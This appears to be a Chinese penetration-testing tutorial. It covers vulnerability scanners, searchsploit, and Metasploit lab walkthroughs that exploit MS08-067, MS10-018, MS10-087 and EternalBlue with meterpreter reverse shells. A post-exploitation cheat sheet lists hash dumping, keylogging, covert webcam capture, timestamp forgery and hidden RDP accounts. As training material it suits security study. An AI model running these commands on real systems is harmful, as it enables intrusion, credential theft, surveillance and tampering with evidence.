漏洞发现—操作系统之漏洞探针类型利用修复

漏洞发现—操作系统之漏洞探针类型利用修复

20210508102555

系统漏洞发现意义:操作系统有漏洞,我们可以得到操作系统的权限,进而得到网站的权限

漏洞类型危害情况:不同的漏洞得到的权限不同,利用漏洞是不是需要什么前提条件

如何做好未卜先知:需要了解漏洞

探针:工具 软件 人工

goby nmap Nessus openvas nexpose 推荐Nessus(历史悠久,一直更新,功能更强大)(装一下)

1
2
3
4
5
https://nmap.org

https://gobies.org

https://zh-cn.tenable.com/products/nessusli

忍者系统网络扫描工具使用.

Snipaste_2022-05-27_20-52-16

这个是工具打开的位置

Snipaste_2022-05-27_20-51-13

然后这里选择默认就可以了

工具优缺点

1
2
优点:图形化界面,方便使用者直观的观察数据,速度快
缺点:整体来说漏洞的插件库不是很全

Snipaste_2022-05-27_20-58-03

Snipaste_2022-05-27_20-58-42

nmap

Snipaste_2022-05-27_21-00-03

scripts目录就是nmap的脚本插件库

nmap的拓展

Snipaste_2022-05-27_21-02-28

插件下载地址

1
2
https://github.com/vulnersCom/nmap-vulners
https://github.com/offensive-security/exploitdb

使用默认库:

1
nmap --script=vuln 目标网段

使用第三方扫描库:

1
nmap -sV --script=vulscan/vulscan.nse 目标网段

这里的sv可以不加,然后是这个路径要跟你的路径一样才可以

参考链接:

1
博客:https://www.cnblogs.com/shwang/p/12623669.html

Nessus

Snipaste_2022-05-28_07-01-03

一般会采用高级扫描(进阶扫描)

Snipaste_2022-05-28_07-04-42

Snipaste_2022-05-28_07-05-10

Snipaste_2022-05-28_07-06-23

Snipaste_2022-05-28_10-32-20

红色的表示高危,橘黄色是中危,蓝色是低危,左边的是IP地址,点击同样是可以查看详细信息

Snipaste_2022-05-28_10-40-27

在右侧的导航栏有对这个漏洞进行评分(是按照那个CVSS),但是这个并不是你判断这个漏洞的唯一标准,因为有的时候不同情况,不同环境下的不同漏洞对你的作用不一样

然后回过头来,查看nmap和Goby好了没有

Goby

Snipaste_2022-05-28_06-30-21

像上图这种有一个红色感叹号的就是说有高危漏洞

Snipaste_2022-05-28_07-09-50

点击进来就可以看到详细内容

Snipaste_2022-05-28_07-23-49

我这里没有扫描到永恒之蓝,应该是我的系统打了补丁的原因

只扫到一个高危漏洞,实际情况可以直接去网上找漏洞编号,进行利用

nmap

Snipaste_2022-05-28_07-35-10

Snipaste_2022-05-28_07-36-23

名词,编号简介

CVSS,CVE,POC等

EXP:利用代码,顾名思义就是利用漏洞的代码

POC:验证代码,就是可以验证漏洞是否存在的代码

QK0HQEPCL@DFC7MQX9

CSBH0GHYCDJX0PU3FDG168

CVSS:通用漏洞评分系统,安装漏洞严重级别给漏洞打分(0-10分)

三款工具的差异

从上面三个结果来看,Nessus的结果最好,然后是这个Goby,虽然很快但是能,就是这个只扫出了一个高危,而Nessus扫出了很多,nmap也中规中矩

扫描出了漏洞如何利用呢?

第一个:利用工具框架:MSF,企业内部的产品(目前接触不到),searchsploit

第二个:CNVD,seebug,1337day,exploit-db,packetstorm Secuity

第三个:网上的资讯和文章

1337day:https://fr.0day.today/

Snipaste_2022-05-28_10-51-13

里面有大量的EXP,这里有收费的和免费的

还可以去github,或者是https://www.exploit-db.com/(这个是免费的)

还有就是直接百度这个漏洞编号,然后搜索网上的人写好的利用文章,工具等等

漏洞利用框架演示-Searchsploit

单点exp的获得

Searchsploit使用

fc1e18069fd2cd61faeadcf315368e60

这个框架就是搜索漏洞的,该框架在忍者系统中是自带的

更新:

1
searchsploit–u

使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
1.用法

searchsploit[选线] term1 [term2] ...

[termN]

选项:

-c, --case[Term]执行区分大小写的搜索,缺省是对大小写不敏感。

-e, --exact [Term]对exploit标题执行EXACT匹配(默认为AND)

-h, --help在屏幕上显示帮助

-j, --json[Term]以JSON格式显示结果

-m, --mirror [EDB-ID]将一个漏洞利用镜像(副本)到当前工作目录,后面跟漏洞ID号

-o, --overflow [Term]Exploit标题被允许溢出其列

-p, --path[EDB-ID]显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

-t, --title[Term]仅仅搜索漏洞标题(默认是标题和文件的路径)

-u, --update检查并安装任何exploitdb软件包更新(deb或git)

-w, --www [Term]显示Exploit-DB.com的URL而不是本地路径(在线搜索)

-x, --examine[EDB-ID]使用$ PAGER检查(副本)漏洞利用

--colour在搜索结果中禁用颜色突出显示.

--id显示EDB-ID值而不是本地路径

--nmap[file.xml]使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)。

使用“-v”(详细)来尝试更多的组合

--exclude="term"从结果中删除值。通过使用“|”分隔多个值,例如--exclude

=“term1 | term2 | term3”。

2.使用实例

(1)查看帮助

searchsploit -h

(2)搜索漏洞关键字afd的Windows本地利用漏洞

searchsploit afd windows local

(3)搜索标题中包含oracle windows的漏洞

searchsploit -t oracle windows

(4)搜索漏洞号为39446的漏洞

searchsploit -p 39446

(5)排除dos以及PoC值的包含linux

kernel 3.2的漏洞

searchsploit linux kernel 3.2--exclude="(PoC)|/dos/"

(6)查找mssql的漏洞

searchsploit mssql

(7)查找和window XP有关的漏洞

searchsploit /xp

(8)查找apple的漏洞

searchsploit apple

1.4技巧

1.查询关键字采取AND运算

SearchSploit使用AND运算符,而不是OR运算符。使用的术语越多,滤除的结果越多。

2.使用名称搜索时尽量使用全称

3.使用“-t”选项

默认情况下,searchsploit将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“-t”选项去掉多余数据。例如searchsploit -t oracle windows显示7行数据而searchsploitoracle windows |wc –l显示90行数据。

4.在线搜索exploit-db.com中的关键字漏洞

searchsploitWarFTP 1.65 -w

5.搜索微软漏洞

搜索微软2014年的所有漏洞,关键字可以ms14,ms15,ms16,ms17

searchsploit MS14

MSF框架

术语简介

渗透攻击(Exploit)

渗透攻击是指由攻击者或者渗透测试者利用系统,应用或服务中的安全落地动,所进行的攻击行为。

流行的攻击技术包括:缓冲区溢出,web应用程序漏洞攻击,以及利用配置错误等。

攻击载荷(paylod)

攻击载荷是我们期望目标系统在被渗透攻击后而执行的代码,在MSF框架中可以自由的选择,传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell 攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

溢出代码(shellcode)

shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

模块(Module)

在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其他时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。

监听器(Listenner)

监听器是MSF中用来等待连入网络链接的组件。举例来说,在目标主机被渗透攻击后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接

在kali上开启msf:msfconsole

查找某个漏洞

search 漏洞的编号

打开一个模块:use 模块名字

查看模块相关信息:info

msf存放路径:/usr/share/metasploit-framework

1
2
3
4
5
6
7
8
9
10
11
1,五大模块

Auxiliary 辅助模块 在渗透测试中帮助我们进行前期的信息收集、扫描测试等

Exploits 攻击模块 对发现的已知漏洞,进行攻击测试,从而获得目标系统的权限

Payload 攻击载荷模块 攻击成功后的恶意代码

Post 后渗透攻击模块 在渗透测试成功后,进一步的收集目标系统的信息,为进一步深入目标系统做准备

Encoders 编码模块 将攻击代码进行编码,编译,来绕过杀毒软件的检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1,开启MSF
~开启数据库: service postgresql start
~初始化msf数据库: msfdb init //第一次使用时,以后不在需要
~开启(进入)MSF: msfconsole
~查看数据连接状态: db_status

问:怎么才算连接成功?
答: 出现这样的内容“ [*] Connected to msf. Connection type: postgresql. ”

问:开启MSF数据库的作用是什么?
答:
~我们知道MSF中有很多的模块以及插件,
~当我们开启数据库之后我们去搜索相关插件和模块的速度会很大的提升,
~并且数据库中可以保存我们的操作记录

2,常用指令
help/? 帮助菜单

exit 退出MSF控制台

Back 返回上一级

info 显示一个或者多个模块的信息

show 显示所给类型的模块

background 将当前操作在后台运行

use 使用所选择的模块

set 设置选项

unset 取消设置的选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0,前言
msf中有很多漏洞利用exp与payload。在实际场景中,
如何快速找到我们想要的exp或者payload?
这就涉及到了搜索功能。

1,根据名称搜索
例如:search ms17_010

2,联合搜索
例如:search name:ms17 type:auxiliary //有点类似谷歌语法

问:搜索到之后干嘛?
答:当然是利用该模块,对靶机进行渗透测试了

示例一:
~use auxiliary/scanner/smb/smb_ms17_010 选择模块

~show options 查看选项(有选项是yes的需要设置)

~set rhosts 192.168.177.129 设置选项(有的需要设置多个选项)

~run 开始运行

示例二:
use exploit/windows/smb/ms17_010_eternalblue 选择模块

info 查看详细(和show options功能类似)
(选项是yes且为true的一般也不用设置)

options 再次查看详细(检查还需要设置什么,或者有没有设置成功)

run 开始运行

接着基本攻击成功,可是试试,whoami,是不是最高权限
1
2
3
4
5
1,hosts命令:					
通过该命令我们可以添加主机以及删除主机等//已经攻击成功的
//详细的可以 hosts -h查看

例如:列出当前mac地址:hosts –c mac
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1,漏洞库是什么东西?
漏洞库是公开的漏洞检索系统,例如,可以快速搜索漏洞
http://www.cnnvd.org.cn/web/vulnerability/querylist.tag

2,MSF中的模块的作用是什么?
简单说,MSF以模块归类各种工具(插件)
每个模块对应渗透测试流程中,不同的作业

3,比如我的站点是wordpress,我该如何使用MSF进行测试?
使用搜索命令:search wordpress ,找到相关的模块以及插件然后进行测试。
当然了,在测试之前建议使用漏洞扫描软件,先扫描测试,根据扫描出来的结果,在进行手工复测

扩展:wordpress是什么?
WordPress是使用PHP语言开发的博客平台
用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站
也可以把 WordPress当作一个内容管理系统(CMS)来使用

4,run命令和exploit命令有区别么?
没有什么区别,都是执行我们的模块

5,MSF扫描 IP的时候怎么扫IP段
我们在设置RHOSTS的时候,设置为192.168.20.1/24,
/24的意思是代表C段,IP地址为0-254个主机
不懂C端或者网络基础较差的同学
可以看下网络基础:https://baike.baidu.com/item/子网划分/5446046

6,background 之后怎么重新拿到前台?
使用命令:sessions -l,查看当前的会话有多少以及会话ID,
使用session -i id值。就切换回来了。

7, —help能显示更多命令解释吗?
是的,在msf的学习之中,我们要多用用 -h ,或者help帮助命令提示我们如何使用


总结:
本章内容就是介绍以下msf的基本情况,所以不会牵扯太多的东西。
更多的内容后边会一一介绍。

使用案例

实验1【浏览器攻击渗透(ms10-018)】

在kali上开启msf:msfconsole

运行:search ms10-018命令

接着:use exploit/windows/browser/ms10_018_ie_behaviors【进入对应的模块】

设置自己的服务IP,也就是攻击者的ip地址:set SRVHOST 192.168.188.132

在配置:set PAYLOAD windows/meterpreter/bind_tcp

这个时候可以看我们的配置是否配置进去了:show options

可以看到这里的默认端口是4444,可以改也可以不改,如果改的话就是:set LPORT 端口号

Snipaste_2022-01-28_09-58-39

一般是no的就不用配置,一般是yes才是必须配置

配置好之后在:run一下

然后会生成一个url地址:

Snipaste_2022-01-28_11-54-45

把这个地址复制,然后用被攻击的主机访问既可

一般有这个绿色的就是成功了的信息

Snipaste_2022-01-28_12-01-35

然后可以查看一下:sessions -i

、

可以看到现在有两台主机

然后是登录对应的主机,如果你要登陆第一个直接加上序号就可以了:sessions -i 序号【比如是1或者2,以此类推】

登录之后输入:shell即可

实验2【网络服务器攻击渗透(MS08-067)】

先进入msf:msfconsole

然后查看这个漏洞:search ms08_067

先进入:use exploit/windows/smb/ms08_067_netapi

Snipaste_2022-01-28_12-14-56

查看需要配置什么:show options

set RHOSTS 192.168.188.133【直接配置被攻击者的IP即可】

Snipaste_2022-01-28_12-21-43

run一下之后,出现这些,然后在shell,就可以看到成功了

实验3【应用软件格式渗透,利用word去渗透(ms10-087)】

进入:msfconsole

查找:search ms10-087

进入:use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

查看需要做什么配置:show options

这里的意思是要你改一个名字,可以不改,也可以改:set FILENAME 名字.后缀

设置payload:set payload windows/exec

在接着设置:set CMD calc.exe

最后run

Snipaste_2022-01-28_13-57-44

生成的文件就在这个路径下可以剪切去其他地方

实验4【网络服务器攻击渗透测试(ms17-010)】

search ms17_010

Snipaste_2022-01-28_14-14-17

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.188.129【受害者IP】

set LHOST 192.168.188.135【攻击者IP】

设置payload:set payload windows/x64/meterpreter/reverse_tcp

这样就是成功的样子

Snipaste_2022-01-28_14-46-45

目前看来是对我这个版本的win7没用,只有我这个版本的2008生效。

成功之后:shell即可

实验5【smb其他漏洞linux smb漏洞(CVE-2017-7494)复现】

影响版本:漏洞影响了Samba3.5.0之后的版本,不包含4.6.4/4.5.10/4.4.14

meterpreter后期攻击使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
1、上传文件到Windows主机
简单来说,就是你可以上传本机的任意文件到远程目标主机中。

meterpreter > upload <file> <destination>
meterpreter > upload //root//123.exe c://123.exe
注意:使用-r可以递归上传目录和文件

2、在目标主机上强行执行EXE文件
meterpreter > execute -f <path> [options]
meterpreter > execute -f c://"Documents and Settings"//Owner//Desktop//123.exe #带空格的路径
meterpreter > execute -f c://123.exe

3、从对方主机上下载文件
meterpreter > download <file> <path to save>
meterpreter > download c://111.tx

4、执行cmd
meterpreter > execute -f cmd -c 或 shell

5、查看对方进程
meterpreter > ps

6、获取对方管理员权限
meterpreter > get
meterpreter > getsystem

7、使用hashdump转储所有hash值
获取管理员的用户密码哈希值
ntlm在线破解: https://hashkiller.co.uk/ntlm-decrypter.aspx

8、彩虹表工具kali–ophcrack hashcat

9、使用credcollect转储hash值
还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens

meterpreter > run credcollect

10、创建端口转发
meterpreter shell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机
add 选项会将端口转发添加到列表中,而且本质上会创建一个隧道。
note: 这个隧道存在于meterpreter控制台之外,如何终端会话都可以使用。

meterpreter >portfwd add -l 6666 -p 3389 -r 127.0.0.1
将目标机的3389端口转发到本地6666端口

11、查看用户ID
meterpreter >getuid
meterpreter >sysinfo

15、模拟任意用户(token操作)
只需要输入use incognito命令即可
输入list_tokens -u来显示所有有效的tokens
然后我们需要模拟某个token来获取其权限,如果成功模拟一个token,可以使用getuid检查当前用户ID

meterpreter >use incognito
meterpreter >list_tokens -u
meterpreter >impersonate_token "你想切换的账号"

16、webcam摄像头命令
meterpreter >webcam_list #查看摄像头
meterpreter >webcam_snap #通过摄像头拍照
meterpreter >webcam_stream #通过摄像头开启视频

17、timestomp伪造时间戳
meterpreter >timestomp c:// -h #查看帮助
meterpreter >timestomp -v c://2.txt #查看时间戳
meterpreter >timestomp c://2.txt -f c://1.txt #将1.txt的时间戳复制给2.txt

18、enable_rdp脚本开启3389
meterpreter >run post/windows/manage/enable_rdp #开启远程桌面
meterpreter >run post/windows/manage/enable_rdp USERNAME=WWW2 PASSWORD=123456 #添加用户
meterpreter >run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将对方3389转发到对方6662

19、键盘记录
meterpreter >keyscan_start #开启键盘记录
meterpreter >keyscan_dump #导出键盘记录
meterpreter >keyscan_stop #结束键盘记录

涉及资源

1
2
3
4
5
6
7
8
9
10
11
https://nmap.org
https://gobies.org
https://www.cnvd.org.cn
https://www.seebug.org
https://www.exploit-db.com
https://github.com/scipag/vulscan
https://github.com/vulnersCom/nmap-vulners
https://github.com/offensive-security/exploitdb
https://www.cnblogs.com/shwang/p/12623669.html
https://blog.csdn.net/qq_38055050/article/details/80214684
https://pan.baidu.com/s/17uA2OmJbV_cDG2C6QnHqqA 提取码:cxd4